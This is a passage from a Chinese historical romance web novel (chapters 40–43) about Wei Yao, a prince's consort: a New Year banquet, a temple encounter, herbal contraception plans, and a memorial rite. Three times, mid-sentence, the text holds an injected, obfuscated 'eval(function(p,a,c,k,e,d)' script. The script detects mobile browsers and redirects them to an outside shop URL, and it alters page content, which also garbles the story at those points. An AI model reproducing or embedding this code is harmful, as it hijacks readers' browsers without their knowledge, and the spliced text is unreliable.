他虽生于尊贵皇家，因幼时与堂兄穆景则格外亲厚，于弓马武艺上十分用心，不止练得身手出众，耳力也是绝佳。 这书房住久了，外间是何情形，多少也能察觉。 魏窈没等到他的回答，也不在意，裹着昭君兜往前走了两步，伸手去接那急促落下的雪花，叹道：“京城里难得有这样的大雪吧？也不知明儿会有多厚的积雪。” 穆景初“嗯”了声，抬眸望着漆黑的苍穹，脑海里浮起的却是多年前堂兄所修书信中对边塞暴雪的叙述，似能与此情此景稍稍重叠。 斯人已逝，转眼竟已是多年。 他后来去过边塞，去过堂兄书信中提及的地方，领兵顺着他的足迹踏过旧路。 但终究……再难相逢。 唯有堂兄留下的一丝血脉能守在跟前，稍作慰藉。 穆景初站在魏窈身后，也伸手去接冰凉的雪花，叮嘱道：“文孺肯与你亲近是好事。我走后，你要好生照料他。” “好。”魏窈颔首答允。 40. 040 书房里亦有起居之所，并不比熹微山房逊色。 孙嬷嬷着人备好了沐浴的热水，等魏窈盥洗完毕时，绿禾也已依命将她的寝衣送过来。 外头穆景初还在忙碌，魏窈也没敢去打搅。 她先是坐在榻上等，后来挨不住困意就垫了个软枕。等穆景初忙到子时将近、匆匆盥洗后走到榻前，就见她半个身子掩盖在锦被之下，靠着软枕睡得正熟。 屋里炭盆烧得比平常暖和，她身上的的寝衣勾勒出玲珑身段，青丝拖曳在枕畔，熟睡中松散的领口稍露春光，她却浑然未觉，呼吸绵长。 穆景初坐上榻，视线在她身上逡巡。 不得不说，她确实生得极好。 容貌出挑不说，身上也养得白嫩细腻，温香软玉般让人忍不住想靠近。而此刻万籁俱寂，茫茫大雪将这书房隔成一片独立的天地，仿佛这世间唯有夫妻相对，而无旁人打搅。 穆景初抬手，指尖不自觉落在她的脸颊，而后拿指腹轻轻摩挲，徐徐往下。 温软的肌肤触感极佳，穆景初的视线落在寝衣之下起伏有致的雪白胸口，喉结微动。那股幽微的淡香终于沾上属于他的这座床榻，穆景初忍不住倾身凑近些，轻轻嗅她身上的味道。 出身天家，见过无数妖娆美人，也有种种奇香唾手可得，但没有哪个女人、没有哪种香料，能如眼前这人般，令他心神牵系。 甚至于此刻，明知她答应婚嫁是另有所图，夫妻间有假意而未必有多少真情，却仍想拥她在怀，一辈子都不放开。 穆景初不得不承认，他可能真的有点喜欢上她了。 …… 翌日清晨，穆景初很早就起身了。 魏窈在睡梦中察觉动静，朦胧睁开眼时，就见他坐在床榻边上，正系中衣的带子。屋里没掌灯，暗沉沉的雪夜也无甚光亮，他摸黑起身，放轻了脚步走向浴房，像是怕吵醒他似的。 心底似有暖流浸过，身边也还有他留下的余温。 魏窈懵懵躺了片刻之后，起身披上衣裳。 等穆景初盥洗完走出来时，屋里已是灯火明亮，魏窈拿珠钗将青丝胡乱挽起，正打理他今日要穿的衣裳。 时辰实在太早，两人都没太睡醒，话也不多。 但当魏窈日渐熟练地帮着整理好衣裳，端详过后又将蹀躞端正系上时，穆景初却还是从中品到了几分家常温馨的味道。 而后去惠王夫妇处辞行，出了王府骑马启程，带着卫玄铮和几个侍卫踏着初开的城门出了京城。 魏窈则踏着积雪，回到熹微山房中。 整夜的落雪积满了庭院，因雪积得颇深，扫帚不太管用，仆妇们正热火朝天地铲雪，又在庭中海棠树畔堆了个漂亮的雪人，好讨魏窈欢心。 待魏窈给惠王妃问安后回到院里，庭中积雪已经洒扫得差不多了，在朝日映照之下霎是好看。 绿禾还从后院折了红梅，拿白瓷瓶装着，放在檐下，与积雪交相映衬。 魏窈瞧见那红梅蘸雪的图景，不知怎的，忽然就想起了般若寺，想起前些天在别苑里，穆景初带她看过的满坡红梅。想起午后温暖的冬阳下，他跟卫玄铮烤出香喷喷的肉串，暖乎乎递到他手里，想起他教他射箭骑马，是意料之外的耐心。 原本应该阖家团聚的年节，他却仍被昭明帝遣出京城，去做一些未必合他本心的事情。 其实郡王这差事，并不好当的。 魏窈心底暗自叹了口气，抬步进屋时，不自觉瞥向寻常穆景初留宿的梢间，瞧见空空荡荡的床榻，一时间竟有些恍惚。 隔日便是除夕，宫中设有家宴。 昭明帝还召了几位重臣亲信来赴此宴席，以示恩宠。 而贺崇赫然在列。 魏窈不过是一介郡王侧妃，在这满殿的皇室宗亲和肱骨之臣中并不起眼，只安静品着果菜欣赏歌舞，偶尔随众起身举杯即可。 年节宫宴自非寻常可比，从座次布置到歌舞菜色，哪哪都是讲究，就连惠王爷那样的身份，说话都比平常谨慎了些，父子君臣秩序分明。 而昭明帝端居上首，四十余年稳坐帝王之位，这朝堂山河于他而言，早已如智珠在握。他一时论及儿孙，一时提及朝臣，于君王威仪之中又透出几分少见的亲和。 这也是魏窈头一回看到贺崇在帝王跟前的情形。 精神矍铄的老头，脸上似乎永远漫着一层笑，哪怕身份远逊皇亲、官职权位也不及韩相等重臣，却是最得帝王亲眼、对答最多的那个。而昭明帝也似乎格外给他面子，一声声贺卿叫着，听着比父子还要亲近，显然是引为心腹的。 这也难怪。 时下这朝堂，固然帝王威重君临四方，朝臣们却也颇多傲骨铮铮、辅君匡国之辈，身为百官之首的宰相更是身兼治政进谏的重担，不惧与帝王当庭争辩—— 若不然，也不至于昭明帝想修个道观，都被百官堵得无计可施，不得不拿“寿礼”来迂回。 这样一群民为先、君次之的朝臣中，难得有贺崇这么个如家奴般体贴圣心、设法成全私心的，昭明帝焉能不器重？ 魏窈清晰记得，前世在道观落成之时，昭明帝重恩嘉赏之下，贺崇是何等风光。 与此相比，赵福生杀几个人又算得什么呢？ 前世还不是皇恩浩荡，重拿轻放。 也不知这辈子，穆景初辛苦奔波之下，事情会如何演变。 魏窈瞧着须发花白的昭明帝，心底五味杂陈。 这场宫宴一直热闹到深夜。 等宴毕回府，众人也都没了团聚守岁的精神头，便各回住处罢了。 次日便是正月初一，年初进香的好时节。 惠王妃虽好礼佛，这些年跟惠王爷闭门不出惯了，也懒于外出折腾，便由魏窈和世子妃梅氏、穆景姝姐妹俩结伴去皇家寺庙进香，以祈新年和顺。 这地方是皇家专用，除了皇亲和有门路的重臣亲眷之外，不许闲人踏足。 进香之时，自然也不必受摩肩接踵的拥挤之苦。 姑嫂几个一起进了香，由住持引着尝过新年才出锅的清粥，正准备动身出寺呢，谁知迎面竟又碰上了熟人—— 梁王夫妇和世子穆景渊、还在襁褓里的幼子穆景煜。 新岁初日，韩明漪打扮得格外光彩照人，在仆从簇拥下与梁王并肩款款而行，身边则是抱着幼子的奶嬷嬷。 而穆景渊则落后了十余步，几乎落在人群末尾。 两处相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314666|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇，对方是长辈，魏窈等人自然率先行礼问安。 梁王一副慈和模样，示意免礼。 穆景姝一面笑谢梁王叔，一面便往韩明漪跟前凑过去，笑道：“我就说你不会不来！怎么今年这样迟，我都进香完了，你们才来。” “还不是景煜，出门前任性哭闹，哄了半天才好呢。” 韩明漪笑吟吟说着，视线便往魏窈脸上挪过来，“听说肃郡王有事出京去了，大过年的，着实辛苦。他不是还养着文孺么，那孩子最好玩闹，这样的喜庆日子，怎么不带他出来逛逛？” 这话说得不怀好意，却又摆着长辈关怀的架势，让人挑不出错来。 魏窈只能寻个由头敷衍过去。 原想着照过面就走，谁知穆景姝还黏在韩明漪那里，笑嘻嘻逗弄着襁褓里的穆景煜，丝毫没有要动身的意思。 魏窈等人不便落下她，只能稍等。 韩明漪便逮着这间隙东拉西扯，仗着长辈的身份，一时评点魏窈着装、一时叮嘱她善待孩子，浑然一副好心教导晚辈的模样。 听得魏窈都想翻白眼。 最后还是世子妃梅氏看不过眼，笑着提醒穆景姝，“好了，梁王叔他们还没进香呢，你要逗孩子，也等他们忙完正事啊。若不然，你先去那边请个福袋，等梁王叔他们进完香，你给孩子戴上。” 话到末尾，带了几分打趣。 穆景姝哪能听不出来？ 大过年的，她不过是个堂姐，有梁王夫妇在，还轮不到她先给孩子挂福袋。 便笑捏捏小堂弟的脸蛋，与人辞别。 一群人呼啦啦出了寺，魏窈因惦记着孤身在京的顾顺娘，且出门前已跟惠王妃禀明过，便跟梅氏等人打个招呼，自己让人驱车往螺市街去。 剩梅氏站在暖阳下，瞧她进了马车，才转身点点穆景姝的脑门—— “你啊！胳膊肘往外拐！” 穆景姝噘噘嘴，“我就是喜欢跟小景煜说话，怎么啦！” “我还不知道你的心思！”梅氏低嗔，“不管怎么说，都是你二哥亲自挑的，为人也和气。她又没招惹你，平素又肯让着，你又何苦这样。” 穆景姝垂眸摆弄着袖口，噘着嘴没说话。 她一直想要的二嫂，其实是韩明漪。 两人虽说年龄差了点，却是自幼一道长大的，交情甚笃。从前长辈们开玩笑，说穆景初和韩明漪青梅竹马，该娶她当郡王妃时，穆景姝还暗暗期待过，能有姑嫂同住王府的那日。 谁知后来，韩家竟把韩明漪嫁去了梁王府。 彼时穆景姝也曾生气过，对韩明漪存了几分失望怨怪，是韩明漪几番拉着手彻夜长谈，说了家中强行安排婚嫁的难处，她才渐渐释怀。 但心底里，仍觉得京中唯有韩明漪配得上二哥。 再后来，穆景初娶了魏窈。 一个长在乡下，刚进京城就生出许多流言的小官之女，除了会仗着美色勾人外，旁的比起自幼养在京城、得名儒教导的相府千金，简直天差地别。 她实在不愿叫那声二嫂，甚至这等场合里，还要故意显露出跟韩明漪的亲近来，故意给魏窈添堵。 梅氏清楚她这心思，见劝不动，也只能叹息。 41. 041 螺市街上，魏窈此刻却是心怀大畅。 年节不比往常，各家各户的饭食都是精心准备的，让顺记小馆的生意瞬间冷清了许多。这倒给了顾顺娘休息的良机，只消安排厨娘准备几样菜色以备零星的顾客所需，留个人守在柜台，就连外送的事儿都省了。 她和韩金铃得了空，便搬个椅子在庭中晒着太阳，围在红泥火炉旁煮茶喝。 听见外头马蹄达达的声音，顾顺娘猜得是魏窈，当即笑着起身迎出去。 果然见魏窈跳下素净的青帷马车，满脸的笑，“顾姨！” “哎！”顾顺娘高兴应着，让韩金铃接了青穂和绿禾手里拎着的东西，抓住魏窈的手搓了搓，“我还想着大正月里王府忙碌，你不得空呢，谁知道这么早就过来了！” “过些天都有应酬，今儿却是清闲的，就逮着机会过来了！”魏窈才刚说罢，身后就传来熟悉的声音—— “今儿凑巧啊，竟赶到一处来了！” 闻声回首，就见沈歌衣衫磊落，手里拎着几包蜜饯，大步流星地走近跟前。 顾顺娘笑着瞧了过去，“今儿不用当值？” “过年呢，谁还当值！”沈歌玩笑着，将蜜饯换了个手，抬手就捏魏窈的脸，“晚上才去上值，这会儿先来顾姨家蹭茶喝！” 魏窈被捏得忙往后躲，“还在巷子里呢，你穿成这样，当心让人瞧见。” “来时瞧过了，附近没人。”沈歌理直气壮，说完又笑睇后面一眼，“若不然，你那小尾巴早该上前阻拦了。” 后面知白像是听见了，默默垂下脑袋，见娘儿几个说笑着进院，仍旧跟在后面。 沈歌便回头笑道：“有我呢，你不用跟着。” “殿下吩咐了，要寸步不离。”知白不爽于小尾巴的私下调侃，说话时颇有点“官差办事，闲人勿扰”的负气架势。 沈歌长长的“哦”了一声，回头对上他的眼睛，“我们说私房话，你也要寸步不离？” 她原是指家常闲话，落在知白耳中，却霎时让他想起了沈歌藏在英气装扮下的女儿之身。 莫名耳梢一红，真个就落下了几步。 …… 顺记小馆开张已有半年，在顾顺娘的精心操持下，不止银钱赚得盆满钵满，这座院子也比初时整修得漂亮了许多。 北墙根下一溜茶花开得正好，魏窈瞧着树下煮茶的红泥小火炉，嗅到板栗烤熟的香味，不由凑了过去。 暖阳遍照，春光生辉。 昭明四十八年迎来晴光明媚的头一日，令满城百姓更添几分喜悦，而魏窈与顾顺娘、沈歌围炉闲坐，只觉心底温暖且踏实。 青穂她们摆好果点，便到地窖找好吃的去了。 知白不好凑太近，拎着一盒子干果，挑个顺眼的屋脊去晒太阳，不时拿余光瞥向树下笑谈的三人。 半日时光旧这样消磨过去。 因沈歌晚间还要去上值，到了申时，顾顺娘便让当值的厨娘洗菜切肉，她亲自下厨掌勺，做了桌丰盛的晚饭。 佳肴佐酒，大快朵颐。 酒足饭饱之后，沈歌先行一步，魏窈和顾顺娘则掩上屋门，进了起居用的里屋。 “上回你让青穂寻那药，可是认真的？”顾顺娘当时怕魏窈有急用，就先抓了药，心底里却始终不放心，这会儿搂着魏窈，显然是要问个清楚。 魏窈也没瞒她，将心底顾虑说了。 顾顺娘情知这桩婚事未必长久，万一肃郡王贪欢弄出个孩子来，于王府固然是好事，可对魏窈和孩子来说就未必了。 而她心底，自然是最疼惜魏窈的。 “既然有顾虑，还是别怀孕得好，免得平白添个枷锁，到时候孩子也可怜见的。”她先定了调，旋即话锋一转，“只是那避子汤着实伤身，你这样小的年纪，都还没长开呢，莫说不宜怀孕，连房事也是越晚越好。” 魏窈还不惯与人谈论房事，闻言有些羞赧，颔首道：“我自然盼着晚些，就只怕殿下……” “我明白。既嫁了进去，有些事难免身不由己。我要跟你商量的，是这药该怎么用。”顾顺娘没用过避子汤，前两日暗里打听过后，着实不敢让魏窈用这十分伤身的东西，就连解决的法子都琢磨过了—— “事后再防，若要确保无虞，用药难免过重，那是极伤身体的，倒不如防在事前。” “防在事前？”魏窈有些疑惑。 “怀孕这事儿其实跟你的月信息息相关。”顾顺娘没法给魏窈细讲背后的缘故，只简单解释道：“你如今的月信是一月一次，若咱们能用药调理成两月一次，你只消月事前的十多天找借口推诿房事，旁的时候便无需担忧。” 这想法着实稀奇，魏窈琢磨了下才明白过来，“您的意思是，并月？” “就是并月！有些人体质特殊，月事间隔虽长，只消肾气充盈没旁的病症，于身体并无妨碍。咱们想法子调理成并月，既不至于太伤身，回头若有转机，停了药再加调理，想必能恢复如常。” 这倒是魏窈没想过的。 她斟酌了会儿，觉得这法子可行，只是有些难办，“妇科郎中虽多，但多半只擅长通经，有这能耐的想必很少，恐怕得找有资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318499|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历的御医才行。” 而御医往来于宫廷王府之间，若不慎泄露消息，于她未必有益。 顾顺娘瞧她愁眉微锁，不由笑了，“这世间厉害的人未必都被网罗在宫里，你可听说过道医？听说道家女子修炼时会斩赤龙，咱们学不来这本事，但道医在女子月事上的能耐，未必逊于御医，没准还能更高明。” 她一副成竹在胸的模样，魏窈觑着她神色，眉头渐而舒展，轻笑道：“难不成您连道医都找好了？” 顾顺娘挑挑眉，很是自得的模样。 魏窈呆住了，“真找到了？这么快？上哪找的？” 顾顺娘被她连珠炮般发问，不由笑起来，“这可不是我厉害，得谢谢沈歌！” 沈歌以女儿之身混在军营里面，虽说比许多男将还出挑，但每逢月信来临时，即便她身体强健，也难免烦扰。从前沈歌苦苦隐瞒身份，对这事只能忍耐，后来她身份挑明，得靖国公赏识后，曾私下与靖国公夫人闲谈，提过这些苦恼。 再后来，热心的靖国公夫人便帮她牵线，寻了位道医调理。 如今沈歌的月信已延至两月，若偶尔碰见急事，吃药多延几日也未尝不可。 “我怕你喝避子汤伤身，想着沈歌处境特殊，便试着寻个借口问了问，谁知真就问到法子了！听沈歌说，那位道医手段高明，将这事儿办得十分稳妥。你若愿意，就请他依着脉象帮你配药做成药丸，每日一粒的吃，既不至于猛药伤身，也免了熬药的麻烦。” “等哪天你改主意了，就悄悄停了药调理些时日，身子照旧康健。” 顾顺娘笑眯眯瞧着魏窈，甚至已经跟沈歌打好了招呼，可择机安排诊脉。 魏窈未料她妥帖至此，大喜之下，径直扑在她怀里。 “顾姨真好！” 顾顺娘搂着她，笑抚她后背，“这个年纪的女儿家，最该爱惜身体。那你便挑个日子，沈歌安排那郎中给你诊脉，早点配药。” 魏窈想了想，很快有了主意，“就正月初十吧！那天我请了两位高僧在护国寺为母亲诵经，到时我带父亲一起去，不干王府的事。等诵经完了，在精舍里诊脉，想必快得很。” “好，那我知会沈歌。” 顾顺娘记下日子，又有些诧异，“怎么忽然想起做这事儿，还带着你父亲？” “正月春节，诵经祈福有什么奇怪的。”魏窈抿唇轻笑，对上顾顺娘拿分明不肯相信的眼神，便凑到她耳边低声道：“做给人看的。后面或许有好戏呢，顾姨等着瞧就是了。” 说话间下了阁楼，自管登车回府。 42. 042 翌日起，便有种种年节的宴席应酬扑到跟前。 好在魏窈只是个侧妃，府里的外事有王府长史司料理，内事交由仿六司而设的仆婢们照看，上头又有惠王妃坐镇、世子妃梅氏总揽，倒也无需魏窈去费心。 迎来送往之间，只消做好本分即可。 这般在各色宴席上忙了三四天，到正月初六那日，魏窈才算是腾出空暇回娘家一趟。 ——按习俗，出嫁女原该正月初二就回娘家，只是王府毕竟不同别处，魏窈又只是侧妃之身，迁延几日也属寻常。 她摆了车驾回去，贺氏就算心里再不满，也不得不笑脸相迎。 两人之间罅隙已深，坐在桌边淡淡寒暄客气两句，就没什么话说了。 正枯坐着呢，忽听外头仆妇来报，说是二姑娘和姑爷来了，贺氏顿时喜上眉梢，忙让人请进来。 等魏淑云和许约夫妇进厅，贺氏便迎到厅前，握着女儿的手，笑嗔道：“这孩子，还是跟没出阁时一样任性，初二不是来过了么，怎么还是见天儿往娘家跑，叫人知道了笑话。” 这话分明是说给许约听的。 许约便笑道：“岳母错怪她了，是小婿和淑云有事出门，瞧见香禾记出了新糕点，想着岳母爱吃，便买了些顺路带来。” 说着，便让仆从搁下食盒。 贺氏见他懂事，笑得合不拢嘴，“既是正巧儿赶上了，坐着喝口茶再走吧，瞧你们还惦记着糕点，想来也不是急事。”说着话，只管拉了魏淑云入席。 许约随她入内，见上首坐着魏窈，又见了礼，再问候魏芝翰。 闲叙片刻，瞧着喜上并没留穆景初的位子，他便状若无意地提起，“倒有好些日没见肃郡王殿下了，想来新岁佳节，殿下是很忙的了？” “他最近没空暇，今儿便只我来了。”魏窈道。 许约笑而颔首，心底却有些失落。 他跟魏淑云早就在初二那天来给魏芝翰夫妇拜过年了，今儿原本有事往别处，因听魏淑云念叨说今儿魏窈回娘家、又得辛苦母亲操劳，才临时起意来凑热闹的——肃郡王毕竟是凤子龙孙，他碍于脸面不好往王府跟前硬凑，便想抓着这等机会，跟这位连襟添几分交情。 谁知竟扑了个空。 期待落空，许约脸上不曾表露，到底忍不住灌了口酒。 魏窈瞧在眼里，不由暗哂。 回娘家之前，魏芝翰就曾打发人问过她何时过来，好提早留出空暇。而今看来，是贺氏漏了消息，才让这位状元郎生出私心来。 真真是物以类聚了。 许约有满腹才学，又是年纪轻轻就中了状元的，若是踏踏实实为官历练，应当能挣个不错的前途。可惜此人急功近利，在中了状元万众瞩目时投靠了风评不甚好的贺崇，如今又想尝试王府的门路。 如今又娶了个魏淑云…… 魏窈记得，前世许约被魏淑云催着上进，时常夙兴夜寐整日忙碌，他又自幼费脑身体底子不甚好，才致后来短命而亡。 而如今，魏窈多打量几眼许约，便觉他比初见时清减了不少，连带先前那股春风得意的精神头都渐而消失了。 身负才学却英年早逝，终究令人惋惜。 但这既是他求的路，又是贺氏和魏淑云精心挑来的金龟婿，魏窈自不好多言，只能暗叹罢了。 再坐一阵，因没有穆景初在场，许约便先携魏淑云告辞。 魏窈也没多待，稍坐了会儿便道：“有件事情，女儿想跟父亲商量，不妨借一步说话？” 魏芝翰一愣，旋即颔首，“去书房。” 魏窈便辞别贺氏，与魏芝翰往书房里去，剩下贺氏对着满桌佳肴，皱眉道：“当真是攀上高枝儿，翻脸不认人了。谁不记得她刚来的时候，破衣烂衫，一穷二白，就是个乡下没教养的野丫头。如今倒好，还借一步说话，这是蹬鼻子上脸呢！” 她没好气的嘀咕，旁边孙妈妈不敢乱说话，只能劝道：“夫人消消气吧，一年也就这么两三回，敷衍着就过去了。” “我就咽不下这口气！” 贺氏从前仗着家世居高临下惯了，想着许约方才有意恭维的样子就来气，“不就是嫁进王府么，当的还只是个侧室！如今愈发得意，竟踩到我和淑云的头上来了！” “且瞧着吧！等肃郡王看腻了她那点姿色，看她还如何张狂！” 孙嬷嬷咽了咽口水，没敢接话。 贺氏犹嫌不解恨，低声道：“也怪云章没用，若早些生米煮成熟饭，哪来这些烂糟糟的！” 如今可倒好，若贺云章是别家的儿孙，她还能怂恿着他死缠烂打，搅得穆景初疏远魏窈以败其势。偏巧又是娘家侄儿，一旦贺云章行事出格连累贺家，她都要吃瓜落的。 说不得，也只好忍气吞声罢了！ …… 相较于贺氏的咬牙暗恨，魏芝翰这会儿却是心绪甚好。 两个女儿都嫁得好，一个给了满腹才华的状元郎，一个嫁进王府成了皇家儿媳，他这当父亲的自然面上有光，连带腰杆子都挺直不少。 即使如此，进入书房时，他仍旧端着做父亲的威严架子。 “今儿淑云难得过来，我瞧你对她倒冷淡得很。”魏芝翰才刚进门，便给魏窈摆了个下马威，“虽说你如今有诰命，身份尊贵些，到底是亲姐妹，同气连枝的，该和睦亲近些。免得让人传出闲话，说你仗势骄矜，反而不好。” “女儿记住了。”魏窈无意与他争辩。 “再则，你母亲操持家事，也很不容易。我知道从前有些误会龃龉，但既然都过去了，人前人后，还是该和气些，才显得是一家人。” 这话多少有点恶心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322916|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过魏窈既已见识过生父的取舍背弃，瞧见这种态度也不意外，便只淡淡应了声“是”。 魏芝翰这才满意，便自斟茶来喝，道：“说吧，什么事。” “女儿打算做件小事情，想费父亲半天的功夫。”魏窈缓声说着，给魏芝翰添满茶。 魏芝翰颔首，却未置可否。 魏窈续道：“父亲也知道，女儿自幼流离在外，从未见过生母的模样。她生我一场，着实不容易，从前在乡下有心无力，前些天去护国寺进香，碰见慧安大师，聊起这件事，倒是颇多感触。” “母亲既已亡故，女儿已无缘在膝下尽孝，所以跟慧安大师商量过后，打算初十那日在护国寺供几盏灯，请法师帮着诵经，尽一份孝心。” 说至此处，魏窈抬眸看向魏芝翰，眼神里藏了几分恳切，“父亲，女儿在这世上，最亲近的莫过于您和母亲。咱们一家三口未能好生团聚，女儿时常遗憾伤心，所以初十那日，想劳动父亲去趟护国寺，就当是成全女儿的孝心了。” 她说得和缓，却让魏芝翰眉头微皱。 魏窈猜想他或许要拒绝，忙又补充道：“这件事，女儿已经跟慧安大师商量过，大师觉得生者能有这份心是好事，会帮好生安排，帮我们留好位子。” 这话一说，魏芝翰酝酿的推拒言辞顿时卡在了嗓子眼。 “你已跟慧安大师说了我会去？”他问。 魏窈仿若未觉，只拿无辜的眼神瞧他，“是啊，护国寺毕竟是皇家寺庙，平素管得严些。我早些问过大师的意思，也免得到时有纰漏。” 魏芝翰闻言，顿时说不出话来了。 事隔多年，元配发妻一直是他刻意回避的旧人，且如今他与贺家共荣共辱，论私心、论贺家的看法，他都不想去掺和这种事。 但魏窈竟先斩后奏，已跟慧安大师说过了。 护国寺毕竟非同寻常寺庙，慧安大师又是得道高僧，时常被王府公门请去说法，连进宫伴驾也是常事。 事已至此，他若还找借口推拒，为免显得太过薄情寡义，传出去也无益于名声。 不过半日功夫，去就去吧！ 魏芝翰无法，就算有些恼怒魏窈的擅作主张，瞧她一副纯良尽孝的模样，到底挑不出错来。 便问道：“就只我们去，没旁人？” “没有，就只咱们一家三口，全当是成全女儿的小小心愿了。” 这样一说，魏芝翰又暗暗松了口气。 顾顺娘不在就好，否则，那老仆妇惦记着旧主，再跟上回那样跟他争锋相对起来，可就不好收拾了。 便只颔首道：“也罢，我届时会过去。不过你初入王府，凡事还是该谨慎些，别叫人觉得骤入高门行事张扬，往后别再这样擅作安排。” “女儿明白了。”魏窈乖觉答应。 43. 043 从魏府回去后，魏窈便派知白去了趟护国寺，知会了初十诵经的事—— 慧安大师是高僧，不是魏窈能请动的。不过毕竟有肃郡王的虎皮大旗在，请他老人家在偏殿安排个位置，请几位旁的法师诵经，绝非难事。 知白很快回来，说一切妥当。 魏窈便安下心来，依着惠王妃的安排，照旧吉祥物似的去赴一些愿意请她这侧妃的宴席，得空时就去文孺那里瞧瞧，或是看他摆弄玩具物件，或是一道练练骑马射箭，倒还有点长进。 转眼便到正月初十。 有肃郡王的大旗摆在那里，慧安大师着人安排得很是妥当。 僧人们在前诵经，父女俩跪在后头的蒲团上叩首供灯听经，不管魏芝翰作何感想，魏窈是实打实地用心祝祷，但愿生母安然无恙，能早些母女团聚。 待得事毕，父女作别后，魏窈自去精舍歇息，顺道避着人诊了脉象。 魏芝翰被赶鸭子上架，在佛寺凑了半天的数，出了护国寺便照常回家，也没太把这当回事，想着年节将尽衙署要开门了，就把心思收回公事上去。 贺氏得知此事却是气得不行。 事情已成定局，她情知跟魏芝翰吵架已无用处，传出去平白让魏窈看了笑话，只能跑回贺崇那里诉苦。 “都怪我一时心软装好人，竟容他将那野丫头找了回来！” 年近四十的妇人，到贺崇跟前诉委屈时，仍旧轻易红了眼眶，“那野丫头攀上王府，心气儿高了起来，当着我的面就敢装神弄鬼。说什么借一步说话，却原来是谋划这事去了！” “可恨他竟然答应了，还瞒得一丝风儿都不漏，直到昨儿问过他的长随才知道。” “他们父女俩这是什么意思？” 贺氏像是受了天大的委屈，“背着我去给那个死了的人供灯，还是在皇家寺庙里，这是想让人说我的闲话，还是想起那人的好了？” “这么些年，我自问对他够好了，生儿育女、事事体贴，父亲又那样提拔扶持，当成亲儿子来待，谁成想竟换来这样的负心事！” 她哭哭啼啼的抹眼泪，贺崇也没觉得不耐烦，不时还要安慰几句。 直到贺氏哭够了，他才拍拍女儿的肩膀，安慰道：“夫妻间难免磕磕绊绊的，也别积在心里。魏窈那丫头嫁进王府，也是我没料到的，谁成想倒给你添了些麻烦。这些时日，他还有旁的异样么？” 贺氏便将平素觉得委屈之处尽数说了，只等那股积攒已久的憋闷倾吐殆尽，才重新收拾妆容，回魏家去了。 剩贺崇站在窗边，眉头微拧。 那对小夫妻怎么回事，他心里明镜似的。 自家女儿打小娇养着骄矜惯了，平素做事强横些也是有的，就连当初的婚事都是她见色起意任性促成，算是霸王硬上弓。只是这些年来，魏芝翰始终都让着几分，小夫妻间也算和睦恩爱，没什么吵红脸的时候。 谁知这魏窈一高嫁，贺怀珍竟受起委屈来了。 莫不是魏芝翰这些年逆来顺受，并非出自对自家女儿的情意，而是有意隐忍。如今寻回魏窈，攀上肃郡王的高枝，竟暗暗生出了异心？ 贺崇拿不太准，脸色却不甚好看。 …… 惠王府里，魏窈这会儿也惦记着贺家。 将周方远的线索抛给穆景初后，算来也有小半个月了，也不知穆景初是否派了人去细查，是否有所收获。 而他孤身在外，年节里都奔波劳碌，也不知这些天过得怎样。 魏窈披衣坐在灯前，瞧着外头渐而漆黑的夜色，闭上眼睛，脑海里便悄然浮起了穆景初的眉眼。 青穂进来铺床，瞧她有些魂不守舍似的，便笑着调侃道：“主子这是发什么呆呢，难不成是灯芯儿成了精？” 魏窈抬眉，被逗得笑了笑。 青穂便笑劝道：“主子且放宽心吧。咱们殿下可是上过战场的，实打实的一身本事，又有卫小统领他们跟着，不会有事。里头热水都备好了，主子沐浴后瞧会儿书，就该歇下啦。” 说着，自管去铺床铺。 魏窈站起身来，自管对镜将钗簪卸去，拿梳篦慢慢的梳满头青丝，口中道：“虽说如此，到底不能轻率。殿下的床铺寝衣，都妥当吧？” “放心，奴婢每日都会打理，让人烘暖了备着，殿下若是回来，立刻就能用。” 俩人闲聊着，等青穂铺好床榻，便帮魏窈将外衫褪去，准备去里头盥洗。 还没转身，忽听外头鹦鹉叫唤了一声。 魏窈不由微顿脚步，下意识往门口瞧过去，就见纱屏后锦帘微动，一道熟悉的身影毫无征兆地抬步走了进来。门口烛光微黯，他的身影峭拔端然，一袭墨色大氅上犹带仆仆风尘。 她愣了下，旋即眼神一亮，忙迎了上去，“殿下回来了！” 风钻进门缝摇动烛火，她的喜悦溢于言表，疾步走来时裙裾翩然。 金钗玉簪已然摘下，她的身上不带半点装饰，只穿着件淡紫色的中衣，勾勒出袅娜的身段。满头青丝如黑亮的柔软绸缎，修长黛眉之下，那双漂亮的眼睛里分明溢出喜悦。 穆景初昼夜疾行赶回府中，瞧见这笑容，只觉满身疲乏似骤然消弭，不由抬手，拿指背蹭蹭她柔软的脸颊，“这么高兴？” “殿下安然无恙，我当然高兴！” 